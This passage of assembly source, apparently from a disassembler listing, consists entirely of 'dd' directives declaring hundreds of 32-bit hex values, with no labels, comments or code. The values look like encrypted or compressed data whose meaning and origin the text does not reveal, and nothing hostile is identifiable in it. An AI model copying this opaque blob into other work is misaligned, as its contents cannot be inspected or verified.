		dd 0B56420FFh, 0C8EE04D3h, 4EFC27F0h, 467D7C25h, 0CDA05703h
		dd 0C828123Ah, 5B14BC6Eh, 2A46B3Dh, 6F68C6C7h, 8B1BC011h
		dd 75C59DD8h, 0DC39048Bh, 37D6C21Eh, 0DC895F02h, 7E9D097Bh
		dd 5F059A7Dh, 6889A06Ah, 0C396167Fh, 0B42C4088h, 5382819Ch
		dd 0A5B5311Ch, 0CDA3407Ch, 13AF3017h, 3627AB1Eh, 0B57A5BB0h
		dd 57EC697h, 0DE3874F1h, 102EA867h, 892FAA1Fh, 8FF7F140h
		dd 84EF3B5h, 2D3F22FEh,	12CFE37Eh, 0F7967328h, 0BB53106Dh
		dd 9AD72989h, 5E1525Ch,	4ABC4F93h, 0CA41824Bh, 34B42180h
		dd 0A0CF7CCFh, 7463C754h, 4AAE33h, 0EC7F323h, 53521084h
		dd 0F717009Dh, 3F2B8225h, 74655FE9h, 0AC16812Ch, 16FE04DAh
		dd 3565BA5Fh, 315F22BCh, 2A9BA98Ch, 538F92E3h, 1F712DE6h
		dd 3B80BE1Ch, 0C602BFE8h, 2A9EE79Fh, 2A707505h,	0CA206A9Ah
		dd 47BE0560h, 0A410B41Eh, 0FA9007F9h, 0C47622h,	0A10BFBCEh
		dd 7C8E0F47h, 0E664689Fh, 0ED62C004h, 0E9F79CA4h, 0C5F94725h
		dd 4503080Eh, 5E25A13h,	72F02927h, 89006A95h, 0AD0C562Ch
		dd 1906B250h, 406B2A34h, 149E4A76h, 0FD352475h,	340A0C43h
		dd 0EE24685Dh, 0E0C2DE1Dh, 6024D44Bh, 456C4379h, 4F449CC1h
		dd 1B604E7Fh, 7D9526E9h, 0D50E69E1h, 0B959C8A5h, 0B027106Dh
		dd 4FBB15Fh, 4A1BE8B5h,	0E9F070ECh, 98995C51h, 54702D47h
		dd 34054FCBh, 0FE9278AFh, 7055284h, 0ED48EE9h, 26D2FDD0h
		dd 0F24097Fh, 0CB2CAF86h, 588CBF2h, 0E1E6BD43h,	0F0AF9B81h
		dd 353D0F44h, 1FF896E8h, 270B00EBh, 8993DE1Ah, 0D8B72498h
		dd 5FD73C90h, 0D187138Eh, 0C95BF0E4h, 0FA78E711h, 7960489Fh
		dd 973BE62Ch, 0B0F556C2h, 0D886504Eh, 0A42C22EDh, 176E5E48h
		dd 46346C95h, 402C2F88h, 0FE958889h, 0D30B6EFAh, 4EDF8CCAh
		dd 6D161CBh, 62B2E937h,	36A84EB6h, 0F86D4413h, 3578C67Bh
		dd 79C5808Dh, 0F711715h, 0FB7CF458h, 21EEFD4Ah,	806788B0h
		dd 0F6A1B710h, 0BDEFD0DFh, 2AE94290h, 0F2519464h, 4E7BF9EDh
		dd 4021D11Eh, 43725935h, 0A9255400h, 2F815D05h,	0F8C3315Eh
		dd 2913F7BDh, 74AC33D2h, 3F21E909h, 0D1EFB35Dh,	2C5986F3h
		dd 0AAD1643Eh, 0F36B7489h, 80559851h, 3D4D73E2h, 0C0A6A6EAh
		dd 505AC84h, 0A10B154Ch
		dd 0ED1E2EAAh, 4953DAC3h, 0E6C68A01h, 85594F70h, 1399AB32h
		dd 1767593Bh, 37A26F5Dh, 99D8B4E2h, 1271E79Fh, 5E00ACBEh
		dd 0EAA404E9h, 0D869AB22h, 4FD9970Bh, 0A647C2h,	0F541D4BBh
		dd 686E7660h, 0B8890ABEh, 6210F89Dh, 0D1784AEFh, 0A310C508h
		dd 0D9E1892Fh, 0C0AC2AC3h, 687B3260h, 0D2FC2B23h, 350920F3h
		dd 2EA91C18h, 2043FE0Ch, 0BE4C1107h, 29F31606h,	0A82A7AF5h
		dd 67835AF0h, 4709D403h, 0ABE2047Dh, 0DDF6E997h, 43E026Ah
		dd 0D52915E0h, 0DC7A43h, 67686659h, 8348E979h, 0BD89E5C0h
		dd 99DF33FBh, 883D43BEh, 40B3042Eh, 1C08100Dh, 285F687Eh
		dd 9B585D2h, 23261B83h,	0F68150A0h, 64685201h, 0EB14E965h
		dd 0D8C84B9Dh, 0F76659C9h, 0BDF349B7h, 53F7DACh, 0F2611402h
		dd 0D0C55F84h, 5F13CEEEh, 1A80CD35h, 40680A16h,	0DC21271h
		dd 75826DE9h, 0CDF06DE4h, 8FEC394Eh, 8CE39E9Eh,	0EB69EA04h
		dd 44493A12h, 5BDA1506h, 3FD01E12h, 500192B3h, 5A25083Bh
		dd 4D082247h, 3E5125C7h, 0A70A6FA6h, 4262C536h,	6C7D0952h
		dd 2B6F65Ch, 2CEBB0ACh,	0B6C0282Dh, 0A1C03DF8h,	0CD10F9C6h
		dd 0DAF195F4h, 11EF2C9Eh, 64E456EAh, 17EDA8EEh,	0F031805Ch
		dd 6804089Bh, 31BA7673h, 2B752250h, 0B22EF699h,	4212D2F9h
		dd 423E07E7h, 16D4B0Fh,	170C9011h, 0D5E8585Dh, 0DE616C00h
		dd 8591E970h, 1D542980h, 545A0824h, 0EB921F74h,	5089AC13h
		dd 2DCCAD2Fh, 0B94F00D4h, 7AC471E2h, 69D82D0Ah,	0FA573612h
		dd 328E206Dh, 0EB63A3BFh, 0D2E74B35h, 0B9C2B7F0h, 2D388B70h
		dd 26709734h, 0C6F53704h, 0BF652109h, 2DAC54A7h, 7818ED89h
		dd 0FF82E7A0h, 1DC18CC3h, 122C7305h, 1FFFD588h,	0BE9E57B3h
		dd 0C1019A45h, 52AFA984h, 14E1E82Eh, 335560C0h,	4E28BC04h
		dd 9441BBCDh, 2CA60738h, 0E707CC28h, 0AFA70F66h, 350787D2h
		dd 7B3482CBh, 5CEF8902h, 0F8316227h, 756247D9h,	29760B5Bh
		dd 74EA302h, 0A007DE6Bh, 0E35F4B08h, 0A2E5DE74h, 31CF5Fh
		dd 5D8295Bh, 7F71A83Eh,	54C66813h, 16A7A18Ch, 0EA14DE4Dh
		dd 840F4402h, 5F2E6A4Ch, 0C0B7B44Ch, 9E52E929h,	2D562F76h
		dd 5067F824h, 7CC87CE2h, 2DF06092h, 0E81D6662h,	3E825E5Fh
		dd 6168416Dh, 5207893Eh, 8F7A4A15h, 785838h, 0DEF1816Ch
		dd 3443D76Ah, 0C023A4E9h, 0B1558096h, 0EAD45B4Eh, 84CA0813h
		dd 1428AE4Ah, 0B4B0971Ch, 230EBB53h, 0C922911Fh, 0F375E0F7h
		dd 0F8898096h, 0E8C03F91h, 0D90503h, 35435B64h,	282C1808h
		dd 412F2D00h, 0E10D144Ah, 7E9A0026h, 0CB617805h, 0E1B829D3h
		dd 0CF54D090h, 2B4AE9C1h, 5DA20AC7h, 60BC7E0Fh,	2AC20231h
		dd 0EAC14212h, 61F002E1h, 511B48B9h, 0BD043E20h, 598513E0h
		dd 0BB4716EAh, 7435E422h, 503A3D7Fh, 0D059D186h, 87EBC62h
		dd 270EB8F7h, 6BEFD101h, 56F9BAF5h, 36DA0208h, 4424039h
		dd 850402DFh, 7BE5DD97h, 258F53AFh, 962FB0Ah, 8E590A8Bh
		dd 0C17B6025h, 137C34F4h, 87A2818Ch, 21AD2B04h,	71FD6882h
		dd 480B5A4Ch, 6642931h,	0B703FF45h, 21462103h, 0FAF01A5Ah
		dd 2B3D41D3h, 41D943E4h, 0AA7CFE69h, 2025F304h,	3B4CB3F8h
		dd 0DCCF985Bh, 0A2B6C05Bh, 409D6809h, 4A403C7Dh, 819D615Fh
		dd 5F242ACEh, 53A06AACh, 3FFF5B51h, 0C2741CC1h,	0C9D82FAFh
		dd 13300120h, 0FC31C068h, 7C01B2DFh, 42006A1Dh,	40931B8h
		dd 0ECE8A58Dh, 2768F34Bh, 6969F934h, 21A869C0h,	9EC12BE9h
		dd 172B4AE9h, 8B3C98B4h, 2E30FA41h, 0B747133Dh,	0C652074Eh
		dd 1C751B1h, 0F8293AD0h, 839AA83Ah, 9D89D101h, 81FE94BEh
		dd 4F6E420h, 83EACE09h,	0E10E8345h, 9B3D3EC5h, 0FD2AE50Fh
		dd 78090177h, 403C9152h, 1A4DDBE5h, 0D5E95E12h,	647FB2A1h
		dd 0E0E9B1E0h, 7D5BD442h, 4F079A10h, 60FA3213h,	4435C6BEh
		dd 0D41E802Dh, 0B08A062h, 7ED0E95Dh, 5850A7F6h,	0B33B4B68h
		dd 0FEBB00B2h, 0E940E33Ch, 0C97F5E23h, 383FE1FDh, 0F5BE0348h
		dd 746A975h, 0C52A0166h, 82E6676Bh, 0B740F755h,	5440BD8Dh
		dd 4985EE46h, 0E90CA39Eh, 0DD57D256h, 0DC685A13h, 5C55A6D2h
		dd 3CE09FF4h, 3FFA65Ah,	79E3785Ch, 9EC28D41h, 82CC53CBh
		dd 31476851h, 6203BD4Ch, 0B9222A11h, 176FF05Dh,	1CE97631h
		dd 0C93DBE56h, 8C7F3545h, 0ECDB4A9Eh, 0E96F0972h, 1055E8E2h
		dd 2D0F4BD0h, 0FB621F8Eh, 0A4E15357h, 40C31D64h, 7335CB81h
		dd 4B5927D8h, 54B80BBCh, 2744F687h, 2AFD42E2h, 210B846Dh
		dd 39EBE9F0h, 4E540BF2h, 29E35508h, 603E0BB5h, 77C9B1D4h
		dd 0E55DA609h, 8612E8Ah, 0F8259F4Ah, 0C0BE4F41h, 3E0A2DB2h
		dd 0F77FB107h, 0D83740D0h, 0DCF0EA1h, 245AD4EAh, 20CE022Ch
		dd 0E7C42315h, 0E5E90880h, 2DEA9BD2h, 2ABA8D4Dh, 1D3EAB5Ah
		dd 87521D7Ch, 0F53F47BAh, 87A595FDh, 0E278724Dh, 0CF289F79h
		dd 0EF4B2205h, 0DE05BF47h, 9BA836BDh, 80B4E916h, 5CCF8015h
		dd 0A876E7E6h, 2CEDC738h, 575AA9F8h, 1493A40h, 454771BFh
		dd 5D1AD220h, 0FB1989DFh, 0DC5005Eh, 291EE807h,	2D431EDh
		dd 0F1555808h, 0A004EBA0h, 665E01C5h, 20600E68h, 2B6945D3h
		dd 7FC80280h, 31455934h, 0B6E53C2Ah, 965F2749h,	0F43BF9EBh
		dd 72DE9ECh, 717548ABh,	2CDD7A88h, 0A613627Dh, 83650822h
		dd 2D251A3Eh, 0C8C27C0Ah, 0E0A1C961h, 0DAE33830h, 0B46EF84h
		dd 8CA5E858h, 0F3F197A1h, 6BD25547h, 88DDB49h, 1B987F03h
		dd 16370597h, 0E1323C60h, 0E90701B4h, 5B6C283Ah, 55687330h
		dd 98AEA678h, 254F7A62h, 63A3449Ch, 0D916CCD6h,	7DFC58C3h
		dd 2DE8E64Bh, 0D7F85229h, 8EFCBC99h, 6BAAC65Ch,	2A349041h
		dd 903860FBh, 81616D9h,	0CBD7016Ch, 60DB2133h, 0F25A8F22h
		dd 9CEAD6C5h, 0C227C60Eh, 97E00EEh, 5C57E930h, 740F75Fh
		dd 6146975Ah, 19A62220h, 68FC380h, 1CC33ADCh, 0D446FA43h
		dd 93FC2FE9h, 0AC78A450h, 483ABDB7h, 5E0795Fh, 0E1D1E956h
		dd 0CBC52AEAh, 9C5EE201h, 0F42A6014h, 5F02C12Eh, 3168825Ch
		dd 5CED92CFh, 0F992C261h, 0BDF31077h, 0E812132Bh, 434BC52h
		dd 57388330h, 21A6DD80h, 57C7D6Ch, 0B72218E2h, 5326FE36h
		dd 42DE0E80h, 732429h, 8FA41131h, 262DE9CDh, 808D92B0h
		dd 0C56A787Fh, 0F6811C35h, 67440076h, 0F4E9840Fh, 6D5817BCh
		dd 16F6F92Fh, 49768795h, 1D8DF01Ch, 827DFD40h, 742F3BE1h
		dd 0EDA1D240h, 2D084697h, 17FC3032h, 5EDC1C1h, 0F420E5CDh
		dd 92675C34h, 9401B0C7h, 5717FF3Eh, 0B4EEBC81h,	22D423ACh
		dd 5550F6B8h, 1F223448h, 0DD315D86h, 633DF116h,	8101EFCh
		dd 17D64CDEh, 61FA04EBh, 77B9099h, 0E9C7BB69h, 4F872DC8h
		dd 946011EBh, 44DF505h,	8513E908h, 4F54FDE3h, 43A12DF0h
		dd 34E84C46h, 886CB2E1h, 1D77BAEEh, 343E459h, 7ACE5ED3h
		dd 17F8F1EAh, 2CB1B003h, 0D9D8F697h, 882E7C2Bh,	8B3B0F5Eh
		dd 2AF579E2h, 0C60F1EB3h, 5F2B16C3h, 1BFE96FFh,	0E478706Fh
		dd 9602FDC5h, 0CA5F129Eh, 7AF25E2Dh, 40523150h,	3D002550h
		dd 2D6AD332h, 12E70C06h, 8172E9B3h, 0DC535C2Fh,	5995F514h
		dd 0F9038BCBh, 2CC4FF74h, 13CB2504h, 50095FF7h,	0AB5FD888h
		dd 5808058Ah, 5FF588AFh, 0C07270BFh, 0F7810706h, 38584F79h
		dd 3F01136Bh, 0F100D9F5h, 7D9F518Ah, 1CBD4B2Eh,	197C2FA5h
		dd 650F4526h, 4F77A41Eh, 7462771Bh, 6E16E6Eh, 0AE20FE42h
		dd 674A5876h, 60089C24h
		dd 7230922Dh, 97E9234Eh, 0FD29F513h, 466A84E9h,	79255909h
		dd 4DBD4241h, 6C404B3Ch, 7B5F392Ah, 3A5EA908h, 17AA4FAAh
		dd 0BD3C680h, 5C67D75h,	30D96817h, 18A26F77h, 6273741Dh
		dd 400AD44Bh, 1307A102h, 4D61753Dh, 54D351A6h, 0DA23DC5Fh
		dd 70B7DAA6h, 1FF30E99h, 4F239D6h, 0A8F24E46h, 106EA9B2h
		dd 0E15A07D3h, 3F137FDFh, 0FD96A2E2h, 95FC133Bh, 3AA964ACh
		dd 9112A635h, 32B0D2AFh, 681C5174h, 0C0F914D3h,	676A8EC0h
		dd 0E227E97Ch, 0FD654648h, 188C869h, 7E6F5D9Ch,	205C795Dh
		dd 191343C6h, 34AB337Fh, 73D1AA20h, 0E3716337h,	2834C8FBh
		dd 0BF5C508Bh, 32B0233h, 4E27E93Ah, 3CC2795Fh, 3FD344A9h
		dd 0B8CD6D93h, 4332E100h, 8423B67Bh, 0C5A10AE9h, 580195C2h
		dd 0D20CAD11h, 8DAF507h, 0D35A3CEFh, 1082DC10h,	0A7180E4Dh
		dd 89A20C3h, 0C68DDE80h, 875F110h, 20F73820h, 0DD31EDD5h
		dd 0BEDF2879h, 8F46088Ch, 940E018h, 5F2740C7h, 0B0081263h
		dd 0BB2010A7h, 0C51E10A2h, 18F64E18h, 8C685E5h,	3118287Fh
		dd 7508BD6Bh, 0B41888F4h, 39630C3Dh, 668137C1h,	4F2010F7h
		dd 0FB627B18h, 3656910h, 818570Eh, 0AC189952h, 3408C8D0h
		dd 2020468Ch, 8176286h,	9A027AB3h, 804F0258h, 37F6902h
		dd 0B120BC21h, 0B71F319Ch, 8833D708h, 0CD89820h, 0C9106A70h
		dd 719CF1CCh, 8F263BCh,	181004CEh, 7A106768h, 718E3377h
		dd 23E1105Ah, 738210D4h, 10AF2210h, 0D610AA42h,	64E71059h
		dd 108FB419h, 2051B860h, 0D406548Dh, 8BB6288h, 0F036C67h
		dd 73281079h, 0EFD518BCh, 8067FB10h, 0A2808B4Dh, 4EA9CDA8h
		dd 931C5199h, 0C7ED0160h, 4637088Ch, 1D62FE18h,	3516D08h
		dd 2019EB2Ah, 6B08C045h, 7198299Ch, 2841B10h, 0DAFCA628h
		dd 216237C9h, 408E408h,	130C5A80h, 0C2400A71h, 0A04040D9h
		dd 7C6E1240h, 1B58172h,	1990C879h, 54927343h, 3192A220h
		dd 0E8288995h, 86DF0175h, 0D0A3A802h, 0F120C19Bh, 3646315Fh
		dd 98529710h, 0AE993C08h, 82E1CC6Ch, 0B6403908h, 0C43F542Ch
		dd 49C9806Ah, 0C4C8D180h, 6B8EA20h, 40C9A45Bh, 8C92AC53h
		dd 0FA801354h, 4910C962h, 0A6AB03A1h, 0D8510824h, 8E52388h
		dd 2D0892D4h, 156208D8h, 801CA08h, 6908C5A1h, 0C4F615AAh
		dd 88F48F24h, 9218F9A5h, 0CC113E41h, 0B508C391h, 40409440h
		dd 0A662E019h, 2271028h, 0A8A4AE41h, 0BB28067Ch, 316D6210h
		dd 98028171h, 1E770320h, 0B11F0810h, 0AFB8A87Dh, 51798170h
		dd 1DED5ACh, 0FC01E697h, 220888E2h, 0A9A308DBh,	0E0914F0Ah
		dd 3118E390h, 0B78008D6h, 0C60A7480h, 8355520h,	0DA395062h
		dd 9C60008Eh, 0A499E8FCh, 0F99B0325h, 8B261E58h, 111839C7h
		dd 473B1056h, 2752C03h,	1B8913EBh, 3DA7B90Eh, 440105D0h
		dd 49408F00h, 0F775C90Bh, 0C0744E8Bh, 0F003DEDDh, 3C2FE49Fh
		dd 0F06C033h, 2C304FB1h, 3468AC1Ch, 318C32ACh, 0EC460AE3h
		dd 0CBE690Fh, 0EB94E268h, 31E39109h, 0B73DCCF8h, 506E58Ch
		dd 2652E919h, 0B732970h, 512DE98Fh, 5A423820h, 0A3ECE3B1h
		dd 516D72Eh, 0FC54526Ah, 28AEB59Ch, 5E31E9DFh, 7D8C5B98h
		dd 5580A80h, 79BC2730h,	74633507h, 0AC503691h, 0B06BBBBDh
		dd 5BD309BCh, 0A8DD682Fh, 0E906088Bh, 0B08A2C57h, 232709DDh
		dd 88F54780h, 7D068332h, 306E0845h, 5284BA8h, 93987F8Ah
		dd 5FBA5200h, 0E9B0AC67h, 1472DC7h, 0DFCB38DCh,	572E8C36h
		dd 93025856h, 771C0C27h, 1BFEE860h, 0ACD84A81h,	0B4CEBFE7h
		dd 0FFC4014Fh, 4E178BEAh, 0CA7331BFh, 0C53F9E73h, 0C332B21Ah
		dd 0A31C10DDh, 5B541722h, 0E9C207F3h, 0C7DFDA30h, 0B440172Dh
		dd 1F2789E7h, 2AE8A072h, 143B9714h, 875B8AE9h, 5DD8210Bh
		dd 5F08C6A7h, 833CBF73h, 56E91357h, 7854C953h, 8EA94EFEh
		dd 9D72F581h, 0EB29FC96h, 3273E919h, 2DD85F68h,	963ED86Dh
		dd 18D74877h, 5B59F8B4h, 5C90F3A7h, 0DFEECB14h,	532E1E16h
		dd 512D73E9h, 0BA360541h, 0FD8F044h, 273B8818h,	43D2D64h
		dd 0E9F9DAB9h, 0B8D9A06Bh, 46737900h, 8DD1BF1Ch, 0E8E5BEFh
		dd 0D72CE93Ch, 0C83C3124h, 771A1250h, 0F4648CBAh, 0EB8E789Dh
		dd 0DDCE043Ah, 17058A4Ch, 9CB9C330h, 0E95367F7h, 5A47A87Eh
		dd 511C64F2h, 805E4484h, 71E9558Dh, 4CC9E35Bh, 1D255E79h
		dd 0D605C600h, 4503332Fh, 6B67E62Dh, 317D02Eh, 29090136h
		dd 664DE9D8h, 33C45101h, 0E1480342h, 63598A87h,	0C0F1FFECh
		dd 6CC8EB17h, 0B9F62F45h, 2C215B62h, 7EC80BFEh,	0CE97711Dh
		dd 0A452BF39h, 0A626C082h, 112A705Dh, 0D500DF01h, 0D1D0F43h
		dd 5317EFBh, 0E768483Eh, 39C0E353h, 26E692BFh, 353D07FAh
		dd 24FEBEBAh, 5A8201A2h, 0D9016AAFh, 503FDDE9h,	21225BF4h
		dd 7DC37650h, 0BEE2F12h, 80462E5h, 1E09FB04h, 963AC12h
		dd 2359E883h, 8E151h, 0C9810306h, 42BF74FBh, 0DF1124D2h
		dd 0D4E9008Eh, 51BE071Fh, 0FE89095Ah, 8E324224h, 0FFE53A77h
		dd 0A58D6229h, 9AFD3A10h, 0A6E2B57Ah, 95319ED7h, 0E362B6D6h
		dd 0EE08FCh, 7A18055Bh,	1141913h, 72DE8h, 482BB53h, 2DE90706h
		dd 0D77B9897h, 5E01A120h, 0E977A67Fh, 8E3E4575h, 10545337h
		dd 9248C812h, 58218E07h, 5494B264h, 0AE5B9B84h,	0A17E63C1h
		dd 0FEF56181h, 82193275h, 0D051646Ch, 0C421F74Ch, 0FD2E1630h
		dd 270E8245h, 0FF9709EEh, 6D53A923h, 91C3471Dh,	6456898Fh
		dd 2ED71D90h, 70C0FA34h, 0C80AECh, 0AA68526Ah, 5A3FA607h
		dd 7BBF5704h, 0CBC8D2Fh, 0EB4A5F12h, 322D8601h,	0E2D8641Ch
		dd 0E06A18B1h, 9EF31861h, 60FA3E26h, 0CABB7B35h, 9A614BC5h
		dd 0A63B58C6h, 31481906h, 0E72B5C9Eh, 95AD4E69h, 8B479184h
		dd 0B8218BBh, 998B53Eh,	516CF580h, 5140A9FFh, 0CDFE4388h
		dd 0B652D5F8h, 0B4A9B34Eh, 0CE05123Eh, 0BA04E6C0h, 283E9D07h
		dd 9359CE9Eh, 4F5D21FFh, 3A77A37h, 0FE305B0Fh, 499225CEh
		dd 6170EA83h, 0B1679A30h, 132421F2h, 0AF570692h, 89F1BE09h
		dd 0A3C77FF7h, 5A13C5A0h, 65094814h, 0FE16297Bh, 27C78DEEh
		dd 0B8950489h, 3EE9F0D8h, 0EB83C0ABh, 36C43A96h, 3701F3ECh
		dd 0E9CAED2Eh, 892F55DBh, 0D565E004h, 615782h, 0E2B94830h
		dd 0F4212C09h, 0C290006Ah, 903F5942h, 8930405Bh, 2C46CD5Ah
		dd 5B544152h, 598CD851h, 68DB309Fh, 0B3125F4Eh,	0E6802FDEh
		dd 5F888A74h, 0D4277FC7h, 90DFEBE0h, 0A6FD5742h, 53D19D8Eh
		dd 5B68742Fh, 2C0166DBh, 0D488D52Dh, 5AEC5250h,	0CDF7C0F4h
		dd 56BE0A8Dh, 2300B690h, 2DA841D4h, 0B89309D6h,	5E82893h
		dd 9F629007h, 0E180BD16h, 7A8203D1h, 6C79D39h, 0E330EF22h
		dd 65C981B1h, 0D6FE614h, 2B8D850Fh, 9A1E2044h, 0EA311993h
		dd 7CA54E34h, 65A80C63h, 89A13DF1h, 84F25428h, 0B53AC70Ah
		dd 40DBB90Ah, 28BA5F08h, 0C3D8E910h, 0A46CF85Bh, 0FA41C3C1h
		dd 27CE43Eh, 88CF8112h,	8D6B1E0Ch, 0A1EA4EE9h, 7F763B7Ch
		dd 77F4201Ch, 6C66BF05h, 846854h, 84FAA2BEh, 34EFA9CFh
		dd 5FA11790h, 6870C003h, 0D9012627h, 8880590h, 5B515AD1h
		dd 1DACFFB9h, 0ECFC40ADh, 63E13F34h, 35B42AFEh,	0BE8095C7h
		dd 2B5D0265h, 98A151E4h, 0B56A8BB6h, 90C5038Ch,	332E2623h
		dd 107F694Fh, 83F9B89Eh, 0B60B3ABh, 902BA792h, 0F6618A27h
		dd 311D3353h, 0AAE0D256h, 0B125EF05h, 68B05DBCh, 0A8B670CDh
		dd 1B076FE2h
		dd 2F08C9C1h, 0CEB8B530h, 65ED0145h, 0A67EFC0Dh, 6EE6D427h
		dd 0FA12A32Eh, 3241430Ch, 3D050F25h, 826F3C2Eh,	4F5239A9h
		dd 0DC27E8F0h, 899E40F9h, 41B798C3h, 0E4F63C50h, 2D15BC06h
		dd 0B01990Ch, 0E789C68h, 0E3E3DE97h, 0A025DE4h,	45176BBh
		dd 7F4A401Ch, 62D2172Eh, 503C0C43h, 6C246822h, 5469090Ch
		dd 0D7116F8Ah, 46E98420h, 0A75995B2h, 8EFA5CC5h, 0F8D01046h
		dd 805B6606h, 8B2286F4h, 1B0D2F62h, 9F806C98h, 608FF62Fh
		dd 250A06BDh, 7B7407DFh, 261E8BEAh, 5E7864EFh, 36700557h
		dd 13CEFB4Ah, 50CB94Fh,	4F2652ABh, 60A2D0FBh, 734B726Bh
		dd 0EE10C7B2h, 33FC0E08h, 5E11721h, 48197443h, 7F1A6B4Dh
		dd 65570CE4h, 6F592DECh, 1B4C658Ch, 0AF024BC7h,	0DA52543Dh
		dd 0A7715555h, 1687E961h, 2DB8F081h, 427F3A6Fh,	644695F7h
		dd 197761BDh, 9D50B756h, 0E97879DEh, 0A366234h,	4DC0DAF7h
		dd 0DA82CE6Bh, 0C4884EB6h, 0C1DCF8B5h, 38DA6859h, 66A2E63Ah
		dd 72C614Ch, 0E78042B7h, 66CF33D2h, 0FE885288h,	68D6F61Fh
		dd 957D7119h, 0BBBEC24h, 22D06CB9h, 5B6A805Dh, 104C6B06h
		dd 5B683AE9h, 3078F9FCh, 8010E058h, 301661EBh, 0F3A966DDh
		dd 1CB0951Ah, 0FCE38077h, 5771BE6h, 0C31BA2Dh, 512A8052h
		dd 7D096853h, 7D263E64h, 7BA37481h, 6EC42105h, 0C1E1B701h
		dd 0C07FB32Fh, 4736AE22h, 83FC294Fh, 0D27BC21Eh, 50B0014h
		dd 3159396Fh, 729C0E9Dh, 36471804h, 493803C0h, 86E69401h
		dd 0F7A7F98Fh, 1A19D730h, 247C3EBFh, 251716AEh,	583F7560h
		dd 5719F717h, 6444D954h, 1D825F0Bh, 0DFDF8001h,	0C023740Ah
		dd 5359BA0Ch, 0F2978941h, 2C110FF1h, 0EDE00640h, 452A5237h
		dd 0E9DD290Fh, 39EF52EBh, 0CF9BF952h, 38E8964Bh, 8F0B0196h
		dd 0F55B441Fh, 1295E3E9h, 0E887D508h, 2805F8Eh,	1C060E1Ah
		dd 49E9D16Ah, 0F15EF22Ah, 61757F51h, 9699B76Eh,	3082C2B9h
		dd 0C775011Fh, 0B9FF25C3h, 0AF5392BCh, 1DA4FE52h, 64721080h
		dd 4C4A0B1Fh, 906B16FFh, 6FEE0931h, 1C7E3978h, 5105E996h
		dd 98B9CEACh, 0B8702707h, 0ACDDD516h, 0A7B90252h, 7F094B7Ch
		dd 0FA750CC2h, 7B2AE073h, 0E9E0A046h, 1BD2BDA3h, 0B3BCE15Ah
		dd 0B09F54F7h, 0D100BD54h, 5315AA5Dh, 285F92BBh, 0A0E15ECCh
		dd 1456F54Fh, 0F062BE4Ah, 92761D07h, 0EEE5C351h, 45404DB2h
		dd 5B75A5CDh, 9D306B60h, 12D54F34h, 834DC4E9h, 0A862E7A5h
		dd 0E032659Eh, 0C0A58966h, 7686357Eh, 16C4793Ch, 8001CB41h
		dd 0CF2848C7h, 10AEEFABh, 623F7A5Ch, 7AE890E0h,	31F62088h
		dd 5A9EB805h, 83FE3F44h, 0FAEA89ADh, 0AC0A982Bh, 0C1318071h
		dd 6850F99Eh, 901F54E6h, 25954129h, 2B53C04h, 1F0487BFh
		dd 0A2645717h, 0FBCD8C0h, 20E9FE8Eh, 5E76136Eh,	0C447402Ah
		dd 515FF927h, 1693CA0Eh, 7CBA21D1h, 8FE05FBh, 3E24FDD1h
		dd 7DFB5D5Ah, 0B464C5A6h, 0CF7B50A1h, 5A4D5AA4h, 6C3535F5h
		dd 7F5CE47Bh, 7A134B55h, 408C88D1h, 0B63E7A23h,	74E3B1DFh
		dd 8860A615h, 630C5E89h, 5B16B753h, 70A88E58h, 21956597h
		dd 50560056h, 366C0268h, 25582F02h, 0FF8070F8h,	0D879E661h
		dd 0E93C6F49h, 20012F59h, 3438CF0Eh, 94C0B7BEh,	0FF2CB5F8h
		dd 110068D7h, 1718E0Bh,	3CE912FDh, 9B02091h, 7EF97758h
		dd 74711EC2h, 8F143E7h,	945E47FAh, 4D03B524h, 0C1848289h
		dd 0F33FF7ABh, 84A8CA65h, 0B33657A7h, 0BD99FABFh, 0C2F078F0h
		dd 5910ED65h, 72509F8Bh, 0E3FC4BA4h, 8BC61275h,	1D8D1343h
		dd 4B0C093Ah, 7C04DBF7h, 8832E078h, 0F157EE2Dh,	80311642h
		dd 4355F5Bh, 1B45E318h,	1D5186C0h, 0BC29590Ch, 3D08EE28h
		dd 0D16014E9h, 0A73934F3h, 0DF310A08h, 1685025Bh, 0AD892D54h
		dd 2C080E08h, 533C1387h, 0BC68FF7Dh, 12C273Ah, 0CE6F91D9h
		dd 3DBEF7C8h, 0BDEBD89Dh, 2BAF5018h, 252FF70Ch,	84855DAAh
		dd 51080AC3h, 49E002F2h, 0C5F6631Dh, 18138209h,	7BC3297Ah
		dd 0D4C72056h, 85860F0Ch, 6EE385D5h, 6CC3711Bh,	0AF9CE472h
		dd 0EE8EFBD0h, 2529C483h, 0C56802BDh, 0EF665542h, 5EB7B6D7h
		dd 0E232FF17h, 0FE206BB5h, 0E987708Eh, 100B5032h, 0C1FAC158h
		dd 9110006Ah, 0E9462B70h, 35BF3E26h, 0DD875D84h, 6A740BFAh
		dd 9BF0EA43h, 2F26C707h, 479C564Fh, 4E188066h, 0BFF340BBh
		dd 1F109F59h, 0ABF5724h, 86650EC6h, 1055AEE9h, 0E699D2BDh
		dd 78531BC7h, 10047467h, 21285AF5h, 0B7711583h,	8BE3890Bh
		dd 68E74821h, 0A3494AA2h, 906E16E1h, 0EAB68747h, 77E7D582h
		dd 72497FC5h, 396030EAh, 1A12C61Dh, 946F8D25h, 89A8A521h
		dd 5ED9F701h, 0E9E73A48h, 14E40285h, 1DE24865h,	3E138DDFh
		dd 7883614Fh, 20714852h, 9511BD3Ch, 6FD8006Ch, 63542ACh
		dd 715E0F80h, 38E91689h, 404ED999h, 811605Eh, 5303C58h
		dd 45335FA5h, 3F16D7FFh, 4E22C56Eh, 0B46C793Bh,	0E96CB897h
		dd 0AE0FD2A2h, 0FEF8F029h, 41B29ED2h, 8A13C468h, 0B05D21FFh
		dd 26EDE381h, 0EF4143EFh, 51D54052h, 10461883h,	0CBE01C74h
		dd 0F52C1F36h, 5E100775h, 92FA871Ch, 0B430EFD3h, 9093D829h
		dd 0C7C30065h, 550FFA02h, 51072DBDh, 0B7E93B7Fh, 9D0CA1FBh
		dd 0A42EFE7Dh, 5EF05F61h, 0D5C70122h, 0EBD2A611h, 33E96D30h
		dd 0BC4AD28Fh, 0D314B200h, 32B5094Bh, 0FE599884h, 0F6808200h
		dd 5CB75329h, 0BD101BCBh, 5EAF4FD4h, 41548B2Ah,	0C01E785Ah
		dd 489307E3h, 0FF494513h, 2793F490h, 0CC9F0D94h, 444C123Ah
		dd 0D66AA201h, 0C45A16F2h, 70CBAB94h, 0FDB5E909h, 163CB1F1h
		dd 8D4F4A57h, 0EDB2E4D2h, 5E89AFE3h, 82ED7876h,	0CC92CA33h
